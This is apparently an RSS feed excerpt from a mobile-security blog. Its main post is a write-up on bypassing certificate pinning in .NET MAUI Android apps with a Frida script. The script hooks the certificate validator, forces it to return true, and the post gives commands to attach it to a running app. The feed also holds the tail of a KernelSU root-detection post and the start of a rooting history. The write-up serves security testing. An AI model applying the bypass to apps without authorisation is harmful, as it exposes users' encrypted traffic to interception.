&lt;li&gt;&lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3457&quot;&gt;KernelSU PR #3457&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3459&quot;&gt;KernelSU PR #3459&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SukiSU-Ultra/SukiSU-Ultra/pull/891&quot;&gt;SukiSU-Ultra PR #891&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3495&quot;&gt;KernelSU PR #3495 (fake status page)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://raw.githubusercontent.com/SukiSU-Ultra/SukiSU-Ultra/main/kernel/feature/selinux_hide.c&quot;&gt;SukiSU-Ultra &lt;code&gt;selinux_hide.c&lt;/code&gt; (fake status)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gm7.org/archives/100627&quot;&gt;gm7.org analysis of universal detection and bypass methods&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lineageos.org/engineering/HowTo-SELinux/&quot;&gt;LineageOS SELinux guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://source.android.com/docs/security/features/selinux/validate&quot;&gt;Android SELinux validation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://t.me/s/yuriiroot?before=4544&quot;&gt;Telegram community summary&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xinrao.moe/article/35c2c64d-9f79-80d8-a561-c22403650dd0&quot;&gt;Xinrao blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forums.jtechforums.org/t/new-root-detection-and-mitigating-it/6980&quot;&gt;JTech Forums discussion&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Bypassing MAUI Certificate SSL Pinning on Android</title><link>https://ymuu.me/posts/bypassing-maui-certificate-ssl-pinning-on-android/</link><guid isPermaLink="true">https://ymuu.me/posts/bypassing-maui-certificate-ssl-pinning-on-android/</guid><description>A journey from failing to bypass SSL pinning on a .NET MAUI app to building a generic Frida script that works on JIT, AOT, SocketsHttpHandler, and wrapped handlers - no app-specific names needed.</description><pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;p&gt;It all started with the new &lt;code&gt;xamarin&lt;/code&gt; build - &lt;a href=&quot;https://dotnet.microsoft.com/en-us/apps/maui&quot;&gt;&lt;code&gt;maui&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;.NET&lt;/code&gt; Multi-platform App UI).&lt;/p&gt;
&lt;p&gt;When I faced an engagement which was a must for me to bypass &lt;code&gt;SSL&lt;/code&gt; pinning, where unfortunately I failed. I was new dealing with &lt;code&gt;MAUI&lt;/code&gt;. I did not know such framework existed, all I knew was the old granny &lt;code&gt;xamarin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Anyways, I took it as a challenge and started grinding thru docs and vids, until I kinda understood how things work.&lt;/p&gt;
&lt;p&gt;The most important thing that was introduced in &lt;code&gt;MAUI&lt;/code&gt; was &lt;code&gt;AOT&lt;/code&gt;, ahead of time compile. You can check more about it &lt;a href=&quot;https://medium.com/@kittikawin_ball/jit-vs-aot-in-net-9-choosing-the-right-compilation-strategy-67b8643de9df&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;:::note
&lt;code&gt;AOT&lt;/code&gt; means your C# code is compiled to native machine code before the app even runs. No &lt;code&gt;JIT&lt;/code&gt; compilation at runtime. The original &lt;code&gt;xamarin&lt;/code&gt; bypass scripts assumed &lt;code&gt;JIT&lt;/code&gt; was happening, which is why they broke.
:::&lt;/p&gt;
&lt;p&gt;Anyways, when it comes to &lt;code&gt;xamarin&lt;/code&gt; &lt;code&gt;SSL&lt;/code&gt; pinning bypass, there is no way we could not mention gosecure and &lt;a href=&quot;https://github.com/alxbl&quot;&gt;alxbl&lt;/a&gt; for their hard work on &lt;a href=&quot;https://gosecure.ai/blog/bypassing-xamarin-certificate-pinning-on-android&quot;&gt;their blog post&lt;/a&gt; and &lt;a href=&quot;https://github.com/GoSecure/frida-xamarin-unpin&quot;&gt;frida-xamarin-unpin&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now after reading carefully I saw in the last part of the blog he mentioned that he did not make this work on &lt;code&gt;AOT&lt;/code&gt; yet, full or partial, and they are still not working with &lt;code&gt;.NET&lt;/code&gt; Framework applications which use &lt;code&gt;ServicePointManager&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Soo here lights up my mind and says why not? Dude we are in 2026, lets fire up some agents and dig up.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Plan&lt;/h2&gt;
&lt;p&gt;So first I made some drafts of the plan and here is the conclusion:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We needed to recreate the original &lt;code&gt;xamarin&lt;/code&gt; &lt;code&gt;SSL&lt;/code&gt; pinning bypass to make it work with &lt;code&gt;frida&lt;/code&gt; 17 apis. This was a prerequisite to be done, since it had a lot of functions and methods that do not work anymore in &lt;code&gt;frida&lt;/code&gt; 17.&lt;/li&gt;
&lt;li&gt;We needed some app that we know to test on. Luckily, alxbl already provided the src code of the &lt;code&gt;xamarin&lt;/code&gt; sample app. Cloned it, rebuilt it using latest &lt;code&gt;maui&lt;/code&gt;, changed the deprecated functions and methods, added some verbose logging, and compiled using &lt;code&gt;JIT&lt;/code&gt; first then &lt;code&gt;AOT&lt;/code&gt; second after getting &lt;code&gt;JIT&lt;/code&gt; to work (at least we know that it should work) :&quot;D&lt;/li&gt;
&lt;li&gt;We needed to understand why the original script crashes on &lt;code&gt;MAUI&lt;/code&gt; using the &lt;code&gt;JIT&lt;/code&gt; compile, and build a generic bypass that does not hardcode any app-specific class names.&lt;/li&gt;
&lt;li&gt;We needed to test it on an &lt;code&gt;AOT&lt;/code&gt; compiled app and check its behaviour.&lt;/li&gt;
&lt;li&gt;Document everything and try to understand it &quot;still trying :&quot;D&quot;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 1 - Fixing Frida 17 Compatibility&lt;/h2&gt;
&lt;p&gt;Before even touching &lt;code&gt;maui&lt;/code&gt;, the original script would not even load on &lt;code&gt;frida&lt;/code&gt; 17. It crashes immediately with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TypeError: not a function
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;frida&lt;/code&gt; 17.0.0 removed the static &lt;code&gt;Module.findExportByName&lt;/code&gt; helpers. The &lt;code&gt;frida-mono-api&lt;/code&gt; library was calling them at two spots.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; two-line patch.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Module.findExportByName(monoModule.name, sym)&lt;/code&gt; → &lt;code&gt;monoModule.findExportByName(sym)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Module.findExportByName(null, sym)&lt;/code&gt; → &lt;code&gt;Module.findGlobalExportByName(sym)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I forked both repos and patched them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ymuuuu/frida-mono-api/tree/frida-17&quot;&gt;https://github.com/ymuuuu/frida-mono-api/tree/frida-17&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ymuuuu/frida-xamarin-unpin/tree/frida-17&quot;&gt;https://github.com/ymuuuu/frida-xamarin-unpin/tree/frida-17&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also opened upstream PRs back to GoSecure so the community can benefit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/GoSecure/frida-mono-api/pull/1&quot;&gt;https://github.com/GoSecure/frida-mono-api/pull/1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/GoSecure/frida-xamarin-unpin/pull/19&quot;&gt;https://github.com/GoSecure/frida-xamarin-unpin/pull/19&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Verified the patched script works on the original &lt;code&gt;xamarin&lt;/code&gt; sample &lt;code&gt;APK&lt;/code&gt;. Good, baseline established.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 2 - Building the MAUI Test Target&lt;/h2&gt;
&lt;p&gt;I rebuilt &lt;a href=&quot;https://github.com/alxbl&quot;&gt;alxbl&lt;/a&gt;&apos;s sample app for &lt;code&gt;.NET&lt;/code&gt; &lt;code&gt;MAUI&lt;/code&gt; (&lt;code&gt;net9.0-android&lt;/code&gt;). The app registers an &lt;code&gt;HttpClient&lt;/code&gt; with a custom &lt;code&gt;ServerCertificateCustomValidationCallback&lt;/code&gt;, exactly like the &lt;code&gt;xamarin&lt;/code&gt; sample but using the unified &lt;code&gt;BCL&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Compiled two versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JIT&lt;/strong&gt; - &lt;code&gt;RunAOTCompilation=false&lt;/code&gt; (debug / default)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AOT&lt;/strong&gt; - &lt;code&gt;RunAOTCompilation=true&lt;/code&gt; (release / optimized)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both &lt;code&gt;APKs&lt;/code&gt; are included in the repo if you want to test it: &lt;a href=&quot;https://github.com/ymuuuu/frida-maui-unpin/tree/master/MAUI%20Sample%20Apk&quot;&gt;@ymuuuu/repo&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 3 - The Crash&lt;/h2&gt;
&lt;p&gt;Ran the patched &lt;code&gt;xamarin&lt;/code&gt; script against the &lt;code&gt;maui&lt;/code&gt; &lt;code&gt;JIT&lt;/code&gt; app. It loads, hooks &lt;code&gt;SendAsync&lt;/code&gt;, first request fires - then:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Error: access violation accessing 0x10
    at RuntimeInvoke (mono-api/src/mono-api-helper.js:71)
    at onEnter (src/main.js:55)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
&lt;strong&gt;Why 0x10?&lt;/strong&gt; The original script looks for a static factory method called &lt;code&gt;CreateDefaultHandler()&lt;/code&gt; inside &lt;code&gt;HttpClientHandler&lt;/code&gt;. On &lt;code&gt;xamarin&lt;/code&gt; (&lt;code&gt;mono&lt;/code&gt; &lt;code&gt;BCL&lt;/code&gt; fork) this exists. On &lt;code&gt;maui&lt;/code&gt; (unified &lt;code&gt;BCL&lt;/code&gt; / &lt;code&gt;dotnet/runtime&lt;/code&gt;) it does not. &lt;code&gt;mono_class_get_method_from_name&lt;/code&gt; returns NULL. Passing NULL to &lt;code&gt;mono_runtime_invoke&lt;/code&gt; dereferences offset &lt;code&gt;+0x10&lt;/code&gt; of the &lt;code&gt;_MonoMethod&lt;/code&gt; struct - the &lt;code&gt;signature&lt;/code&gt; field. The fault address tells you exactly which field was hit.
:::&lt;/p&gt;
&lt;p&gt;The fix was not to just guard the NULL. We needed a completely different approach for &lt;code&gt;maui&lt;/code&gt; because the &lt;code&gt;HttpClientHandler&lt;/code&gt; internals changed.&lt;/p&gt;
&lt;p&gt;Find more here &lt;a href=&quot;https://www.mono-project.com/docs/&quot;&gt;Mono Docs&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The MAUI Approach - Four Techniques in One Script&lt;/h2&gt;
&lt;p&gt;After a lot of trial and error (and enumerating fields at runtime to see what actually exists), the script now has &lt;strong&gt;four techniques&lt;/strong&gt; depending on what it finds:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;When it applies&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Modern path&lt;/strong&gt; - &lt;code&gt;CreateDefaultHandler()&lt;/code&gt; factory swap&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Mono&lt;/code&gt; &amp;gt;= 6.0, &lt;code&gt;xamarin&lt;/code&gt; classic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;MAUI path&lt;/strong&gt; - &lt;code&gt;mono_object_new&lt;/code&gt; + ctor + &lt;code&gt;_handler&lt;/code&gt; swap + validator transfer + delegate introspection&lt;/td&gt;
&lt;td&gt;unified &lt;code&gt;BCL&lt;/code&gt;, &lt;code&gt;JIT&lt;/code&gt; or &lt;code&gt;AOT&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;SocketsHttpHandler path&lt;/strong&gt; - &lt;code&gt;_settings._sslOptions&lt;/code&gt; walk&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UseNativeHttpHandler=false&lt;/code&gt; or non-&lt;code&gt;maui&lt;/code&gt; &lt;code&gt;.NET&lt;/code&gt; &lt;code&gt;android&lt;/code&gt; apps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Legacy path&lt;/strong&gt; - &lt;code&gt;ServicePointManager&lt;/code&gt; nulling&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Mono&lt;/code&gt; &amp;lt; 6.0, best-effort&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;How the MAUI Path Works (The Juicy Part)&lt;/h2&gt;
&lt;p&gt;When the script detects it is running on &lt;code&gt;maui&lt;/code&gt; (no &lt;code&gt;CreateDefaultHandler&lt;/code&gt; factory), it switches to the &lt;code&gt;maui&lt;/code&gt; path:&lt;/p&gt;
&lt;h3&gt;1. Hook &lt;code&gt;HttpMessageInvoker.SendAsync&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This is the entry point. Every &lt;code&gt;HttpClient&lt;/code&gt; request goes through here.&lt;/p&gt;
&lt;h3&gt;2. Unwrap &lt;code&gt;DelegatingHandler&lt;/code&gt; Wrappers&lt;/h3&gt;
&lt;p&gt;Production apps love wrapping handlers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LifetimeTrackingHttpMessageHandler -&amp;gt; LoggingScopeHttpMessageHandler -&amp;gt; ResilienceHandler -&amp;gt; SocketsHttpHandler
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script walks the &lt;code&gt;_innerHandler&lt;/code&gt; chain, resolving the field on the &lt;strong&gt;runtime class&lt;/strong&gt; of each wrapper (not the base class - that was a bug that read wrong memory offsets).&lt;/p&gt;
&lt;h3&gt;3. Detect the Real Handler&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;If the unwrapped handler is &lt;code&gt;SocketsHttpHandler&lt;/code&gt; → use technique #3&lt;/li&gt;
&lt;li&gt;If it is &lt;code&gt;HttpClientHandler&lt;/code&gt; / &lt;code&gt;AndroidMessageHandler&lt;/code&gt; → use technique #2&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. The Swap + Transfer&lt;/h3&gt;
&lt;p&gt;For &lt;code&gt;HttpClientHandler&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocate a &lt;strong&gt;fresh&lt;/strong&gt; &lt;code&gt;HttpClientHandler&lt;/code&gt; via &lt;code&gt;mono_object_new&lt;/code&gt; + parameterless ctor&lt;/li&gt;
&lt;li&gt;Swap it into &lt;code&gt;HttpMessageInvoker._handler&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transfer&lt;/strong&gt; the old underlying handler&apos;s &lt;code&gt;_serverCertificateCustomValidator&lt;/code&gt; onto the fresh one&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Why transfer? Without it, the fresh handler has a &lt;code&gt;NULL&lt;/code&gt; validator, so &lt;code&gt;SetupSSL()&lt;/code&gt; falls back to &lt;code&gt;android&lt;/code&gt; system trust - which on &lt;code&gt;android&lt;/code&gt; 7+ rejects user-installed &lt;code&gt;CAs&lt;/code&gt;. With the transfer, &lt;code&gt;SetupSSL()&lt;/code&gt; takes the custom-validator branch.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;5. The Generic Hook - Stage 3 Delegate Introspection&lt;/h3&gt;
&lt;p&gt;This is the part I am most proud of. Instead of hardcoding the app&apos;s namespace + class + method name (like &lt;code&gt;SampleApp.MauiProgram.ValidateCertificate&lt;/code&gt;), the script &lt;strong&gt;introspects the live validator instance at runtime&lt;/strong&gt; (Let&apos;s say that it is a semi auto detector):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;validator instance
  -&amp;gt; &amp;lt;Callback&amp;gt;k__BackingField (the Func&amp;lt;...&amp;gt; delegate)
    -&amp;gt; MonoDelegate.layout +0x28 = MonoMethod* 
      -&amp;gt; mono_compile_method = native entry point
        -&amp;gt; Interceptor.attach onLeave -&amp;gt; retval.replace(ptr(1))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;MonoDelegate&lt;/code&gt; layout on &lt;code&gt;ARM64&lt;/code&gt; &lt;code&gt;LP64&lt;/code&gt; is stable across &lt;code&gt;mono/mono&lt;/code&gt; and &lt;code&gt;dotnet/runtime&lt;/code&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;+0x00&lt;/td&gt;
&lt;td&gt;MonoObject header&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+0x10&lt;/td&gt;
&lt;td&gt;&lt;code&gt;method_ptr&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+0x18&lt;/td&gt;
&lt;td&gt;&lt;code&gt;invoke_impl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+0x20&lt;/td&gt;
&lt;td&gt;&lt;code&gt;target&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+0x28&lt;/td&gt;
&lt;td&gt;&lt;em&gt;&lt;em&gt;&lt;code&gt;method&lt;/code&gt; (MonoMethod&lt;/em&gt;)&lt;/em&gt;*&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;So we read &lt;code&gt;+0x28&lt;/code&gt;, compile the method, and hook it. &lt;strong&gt;No app-specific names anywhere in the script.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::important
The hook is deduplicated via a &lt;code&gt;_hookedMethods&lt;/code&gt; Set, so even if multiple &lt;code&gt;HttpClient&lt;/code&gt; instances or lazy-init validators appear, each callback method is hooked exactly once.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The AOT Surprise&lt;/h2&gt;
&lt;p&gt;Remember the blog said &quot;&lt;code&gt;iOS&lt;/code&gt; Full &lt;code&gt;AOT&lt;/code&gt; not supported&quot;? I tested against the &lt;code&gt;AOT&lt;/code&gt;-compiled &lt;code&gt;maui&lt;/code&gt; app expecting it to fail. &lt;strong&gt;It worked.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::caution
&lt;strong&gt;Plot twist:&lt;/strong&gt; on &lt;code&gt;android&lt;/code&gt; &lt;code&gt;MonoVM&lt;/code&gt; &lt;code&gt;AOT&lt;/code&gt;, &lt;code&gt;mono_compile_method&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; return a &lt;code&gt;JIT&lt;/code&gt; stub. It returns the &lt;strong&gt;pre-compiled &lt;code&gt;AOT&lt;/code&gt; native entry point&lt;/strong&gt;. &lt;code&gt;Interceptor.attach&lt;/code&gt; patches it directly, same as &lt;code&gt;JIT&lt;/code&gt;. The Stage 3 hook successfully attached to &lt;code&gt;ValidateCertificate&lt;/code&gt; (&lt;code&gt;AOT&lt;/code&gt;-compiled), forced &lt;code&gt;return=true&lt;/code&gt;, and the request returned &lt;code&gt;OK&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is an &lt;code&gt;android&lt;/code&gt;-specific finding. &lt;code&gt;iOS&lt;/code&gt; uses &lt;code&gt;LLVM&lt;/code&gt; &lt;code&gt;AOT&lt;/code&gt; with a different runtime layout - not addressed.
:::&lt;/p&gt;
&lt;p&gt;There was one small hiccup: a non-fatal &lt;code&gt;access violation accessing 0x68&lt;/code&gt; during script load. This was the &lt;code&gt;ServicePointManager&lt;/code&gt; fallback block trying to load the &lt;code&gt;System&lt;/code&gt; assembly (which does not exist in unified &lt;code&gt;BCL&lt;/code&gt;) and dereferencing &lt;code&gt;NULL&lt;/code&gt;. Fixed by guarding the entire legacy block behind &lt;code&gt;if (!hooked)&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;SocketsHttpHandler Support&lt;/h2&gt;
&lt;p&gt;Some apps set &lt;code&gt;UseNativeHttpHandler=false&lt;/code&gt;, which makes the bottom handler &lt;code&gt;SocketsHttpHandler&lt;/code&gt; instead of &lt;code&gt;AndroidMessageHandler&lt;/code&gt;. Its certificate callback lives at:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SocketsHttpHandler._settings._sslOptions.&amp;lt;RemoteCertificateValidationCallback&amp;gt;k__BackingField
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the script detects &lt;code&gt;SocketsHttpHandler&lt;/code&gt;, it walks this field chain and hooks the callback delegate using the same Stage 3 technique. If &lt;code&gt;_sslOptions&lt;/code&gt; is null, the app has not configured a custom callback - the script logs this and returns cleanly.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;DEBUG Flag&lt;/h2&gt;
&lt;p&gt;Tired of noisy &lt;code&gt;frida&lt;/code&gt; consoles? The script has a &lt;code&gt;DEBUG&lt;/code&gt; flag at the top:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const DEBUG = true; // set to false for quiet mode
function dbg(...args) { if (DEBUG) console.log(...args); }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;How to Use It&lt;/h2&gt;
&lt;p&gt;:::tip
Prerequisites: rooted &lt;code&gt;android&lt;/code&gt; device, &lt;code&gt;frida&lt;/code&gt; server running, &lt;code&gt;MITM&lt;/code&gt; &lt;code&gt;CA&lt;/code&gt; installed in the &lt;strong&gt;user&lt;/strong&gt; trust store.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. clone both repos
git clone https://github.com/ymuuuu/frida-mono-api-maui.git
git clone https://github.com/ymuuuu/frida-maui-unpin.git

# 2. build
cd frida-mono-api-maui &amp;amp;&amp;amp; npm i
cd ../frida-maui-unpin &amp;amp;&amp;amp; npm i &amp;amp;&amp;amp; npm run build

# 3. launch the app, wait for mono init, then attach
frida -U -p $(adb shell &quot;pidof -s com.test.sample.maui&quot;) -l ./dist/maui-unpin.js

# 4. trigger an HTTPS request in the app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected output with &lt;code&gt;DEBUG = false&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] Hooked HttpMessageInvoker.SendAsync with mono_object_new technique (MAUI / unified BCL)
[+] Done!
Make sure you have a valid MITM CA installed on the device and have fun.
[+] Stage 3: hooked validator method (MonoMethod=0x..., name=ValidateCertificate, JIT=0x...), forced return=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Repos&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;frida-mono-api-maui&lt;/strong&gt; standalone Mono API + MAUI helpers
&lt;a href=&quot;https://github.com/ymuuuu/frida-mono-api-maui&quot;&gt;https://github.com/ymuuuu/frida-mono-api-maui&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;frida-maui-unpin&lt;/strong&gt; the bypass script + sample APK source + pre-built JIT/AOT APKs
&lt;a href=&quot;https://github.com/ymuuuu/frida-maui-unpin&quot;&gt;https://github.com/ymuuuu/frida-maui-unpin&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;frida-mono-api&lt;/strong&gt; (frida-17 fork) patched upstream dependency
&lt;a href=&quot;https://github.com/ymuuuu/frida-mono-api/tree/frida-17&quot;&gt;https://github.com/ymuuuu/frida-mono-api/tree/frida-17&lt;/a&gt;
originally by &lt;a href=&quot;https://github.com/freehuntx&quot;&gt;freehuntx&lt;/a&gt;, maintained by &lt;a href=&quot;https://github.com/GoSecure&quot;&gt;GoSecure&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;frida-xamarin-unpin&lt;/strong&gt; (frida-17 fork) patched upstream script
&lt;a href=&quot;https://github.com/ymuuuu/frida-xamarin-unpin/tree/frida-17&quot;&gt;https://github.com/ymuuuu/frida-xamarin-unpin/tree/frida-17&lt;/a&gt;
originally by &lt;a href=&quot;https://github.com/alxbl&quot;&gt;alxbl&lt;/a&gt; at GoSecure&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/freehuntx&quot;&gt;@freehuntx&lt;/a&gt; - original &lt;code&gt;frida-mono-api&lt;/code&gt; and the &lt;code&gt;xamarin&lt;/code&gt; bypass concept&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/GoSecure&quot;&gt;GoSecure&lt;/a&gt; - maintained &lt;code&gt;frida-xamarin-unpin&lt;/code&gt; and the &lt;code&gt;extra&lt;/code&gt; branch of &lt;code&gt;frida-mono-api&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/alxbl&quot;&gt;alxbl&lt;/a&gt; - original author of &lt;code&gt;frida-xamarin-unpin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;I am still learning along the way, most of the work was done by digging thru docs and using some high thinking AI Agents, mistakes are meant to happen, if you have any edit, suggestion or an adjustment, please hit me up.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>From SuperSU to KernelSU: How Android Rooting Grew Up</title><link>https://ymuu.me/posts/from-supersu-to-kernelsu-how-android-rooting-grew-up/</link><guid isPermaLink="true">https://ymuu.me/posts/from-supersu-to-kernelsu-how-android-rooting-grew-up/</guid><description>The story of how Android root evolved from SuperSU&apos;s direct system modifications to Magisk&apos;s systemless approach and finally to KernelSU&apos;s kernel-level model.</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Android root did not just change tools. It changed &lt;code&gt;philosophy&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;There was a time when rooting an Android phone felt almost simple. You unlocked the bootloader, flashed a ZIP, installed SuperSU, and suddenly your phone felt like it truly belonged to you. You could block ads system-wide, remove bloatware, back up everything, tweak performance, and install mods that made stock Android feel limited by comparison.&lt;/p&gt;
&lt;p&gt;:::tip
Root is Android’s highest privilege level, giving you administrator access to protected parts of the system.
:::&lt;/p&gt;
&lt;p&gt;That version of root is mostly gone now. Not because people lost interest, but because Android itself grew up. Over the years, Google added stronger security, stricter partition layouts, &lt;code&gt;Verified Boot&lt;/code&gt;, seamless updates, and app-side integrity checks that made old-school rooting less practical than it used to be.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So root had to evolve too. It moved from SuperSU&apos;s direct system modifications, to Magisk&apos;s systemless and modular approach, and now to KernelSU&apos;s kernel-based model that feels like the next chapter in Android modding.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the story of how we got from simple &lt;code&gt;/system&lt;/code&gt; edits to modern root living closer to the kernel, but how does not like kernels anyway? :&quot;D.&lt;/p&gt;
&lt;h2&gt;When root felt simple&lt;/h2&gt;
&lt;p&gt;In the early Android years, root meant exactly what most people imagined: superuser access to the Linux-based system underneath Android. If you had root, you had control over parts of the device that normal apps could never touch.&lt;/p&gt;
&lt;p&gt;That mattered more back then because stock Android was far more limited. Many features people now take for granted either did not exist yet or worked badly enough that power users immediately looked for better alternatives. Root was how people unlocked that extra layer of control.&lt;/p&gt;
&lt;p&gt;:::note
